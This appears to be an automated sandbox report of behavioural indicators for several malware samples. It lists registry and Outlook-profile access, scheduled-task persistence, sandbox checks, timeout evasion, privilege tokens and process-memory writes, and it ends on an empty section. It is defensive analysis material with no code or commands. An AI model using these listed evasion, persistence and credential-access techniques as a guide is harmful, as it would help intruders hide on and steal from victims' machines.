Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysnldcvmr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crypted2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Documents.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	199336850.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jsc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1404	cmd.exe
4852	PING.EXE

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x00080000000230cd-1006.dat	nsis_installer_1
behavioral2/files/0x00080000000230cd-1006.dat	nsis_installer_2

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build_2024-07-24_23-16.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build_2024-07-24_23-16.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
3980	timeout.exe
5952	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133762560482397879"	chrome.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:PID = "0"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\IconSize = "16"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupView = "0"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByDirection = "1"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1 = 3a002e803accbfb42cdb4c42b0297fe99a87c641260001002600efbe11000000b8c5b0769918db019ca86b075738db019ca86b075738db0114000000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e80922b16d365937a46956b92703aca08af0000	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1092616193"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0100000000000000ffffffff	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0\MRUListEx = ffffffff	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\MRUListEx = ffffffff	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Generic"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0 = 500031000000000070591a95100046696c6573003c0009000400efbe7059169570591a952e0000003f07000000000300000000000000000000000000000059de6a00460069006c0065007300000014000000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\LogicalViewMode = "1"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	chrome.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4852	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
556	schtasks.exe
2432	schtasks.exe
1120	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4940	chrome.exe
4940	chrome.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2360	client.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe
2652	hyperhostvc.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
380	chrome.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
628	cluton.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe

Suspicious behavior: SetClipboardViewer 3 IoCs

pid	Process
392	sysklnorbcv.exe
4672	sysnldcvmr.exe
4284	sysvplervcs.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	516	7zFM.exe
Token: 35	516	7zFM.exe
Token: SeSecurityPrivilege	516	7zFM.exe
Token: SeDebugPrivilege	984	4363463463464363463463463.exe
Token: SeDebugPrivilege	2360	client.exe
Token: SeShutdownPrivilege	4940	chrome.exe
Token: SeCreatePagefilePrivilege	4940	chrome.exe
Token: SeShutdownPrivilege	4940	chrome.exe
Token: SeCreatePagefilePrivilege	4940	chrome.exe
Token: SeShutdownPrivilege	4940	chrome.exe
Token: SeCreatePagefilePrivilege	4940	chrome.exe
Token: SeShutdownPrivilege	4940	chrome.exe
Token: SeCreatePagefilePrivilege	4940	chrome.exe
Token: SeShutdownPrivilege	4940	chrome.exe
Token: SeCreatePagefilePrivilege	4940	chrome.exe
Token: SeDebugPrivilege	2652	hyperhostvc.exe
Token: SeShutdownPrivilege	4940	chrome.exe
Token: SeCreatePagefilePrivilege	4940	chrome.exe
Token: SeShutdownPrivilege	4940	chrome.exe
Token: SeCreatePagefilePrivilege	4940	chrome.exe
Token: SeShutdownPrivilege	4940	chrome.exe
Token: SeCreatePagefilePrivilege	4940	chrome.exe
Token: SeShutdownPrivilege	4940	chrome.exe
Token: SeCreatePagefilePrivilege	4940	chrome.exe
Token: SeShutdownPrivilege	4940	chrome.exe
Token: SeCreatePagefilePrivilege	4940	chrome.exe
Token: SeShutdownPrivilege	4940	chrome.exe
Token: SeCreatePagefilePrivilege	4940	chrome.exe
Token: SeDebugPrivilege	4660	powershell.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeShutdownPrivilege	4940	chrome.exe
Token: SeCreatePagefilePrivilege	4940	chrome.exe
Token: SeIncreaseQuotaPrivilege	4660	powershell.exe
Token: SeSecurityPrivilege	4660	powershell.exe
Token: SeTakeOwnershipPrivilege	4660	powershell.exe
Token: SeLoadDriverPrivilege	4660	powershell.exe
Token: SeSystemProfilePrivilege	4660	powershell.exe
Token: SeSystemtimePrivilege	4660	powershell.exe
Token: SeProfSingleProcessPrivilege	4660	powershell.exe
Token: SeIncBasePriorityPrivilege	4660	powershell.exe
Token: SeCreatePagefilePrivilege	4660	powershell.exe
Token: SeBackupPrivilege	4660	powershell.exe
Token: SeRestorePrivilege	4660	powershell.exe
Token: SeShutdownPrivilege	4660	powershell.exe
Token: SeDebugPrivilege	4660	powershell.exe
Token: SeSystemEnvironmentPrivilege	4660	powershell.exe
Token: SeRemoteShutdownPrivilege	4660	powershell.exe
Token: SeUndockPrivilege	4660	powershell.exe
Token: SeManageVolumePrivilege	4660	powershell.exe
Token: 33	4660	powershell.exe
Token: 34	4660	powershell.exe
Token: 35	4660	powershell.exe
Token: 36	4660	powershell.exe
Token: SeIncreaseQuotaPrivilege	4660	powershell.exe
Token: SeSecurityPrivilege	4660	powershell.exe
Token: SeTakeOwnershipPrivilege	4660	powershell.exe
Token: SeLoadDriverPrivilege	4660	powershell.exe
Token: SeSystemProfilePrivilege	4660	powershell.exe
Token: SeSystemtimePrivilege	4660	powershell.exe
Token: SeProfSingleProcessPrivilege	4660	powershell.exe
Token: SeIncBasePriorityPrivilege	4660	powershell.exe
Token: SeCreatePagefilePrivilege	4660	powershell.exe
Token: SeBackupPrivilege	4660	powershell.exe
Token: SeRestorePrivilege	4660	powershell.exe

Suspicious use of FindShellTrayWindow 31 IoCs

pid	Process
516	7zFM.exe
516	7zFM.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
3916	Community.pif
3916	Community.pif
3916	Community.pif

Suspicious use of SendNotifyMessage 27 IoCs

pid	Process
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
4940	chrome.exe
3916	Community.pif
3916	Community.pif
3916	Community.pif

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
1820	tpeinf.exe
3340	twztl.exe
2652	hyperhostvc.exe
380	chrome.exe
380	chrome.exe
380	chrome.exe
380	chrome.exe
380	chrome.exe
4372	creal.exe
4392	creal.exe
4172	Identifications.exe
4284	installer.exe
1708	a.exe
2524	s.exe
2848	crypted2.exe
1616	meta.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4940 wrote to memory of 2320	4940	chrome.exe	112
PID 4940 wrote to memory of 2320	4940	chrome.exe	112
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 4064	4940	chrome.exe	113
PID 4940 wrote to memory of 3632	4940	chrome.exe	114
PID 4940 wrote to memory of 3632	4940	chrome.exe	114
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115
PID 4940 wrote to memory of 3876	4940	chrome.exe	115

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	cluton.exe

outlook_win_path 1 IoCs

description	ioc	Process
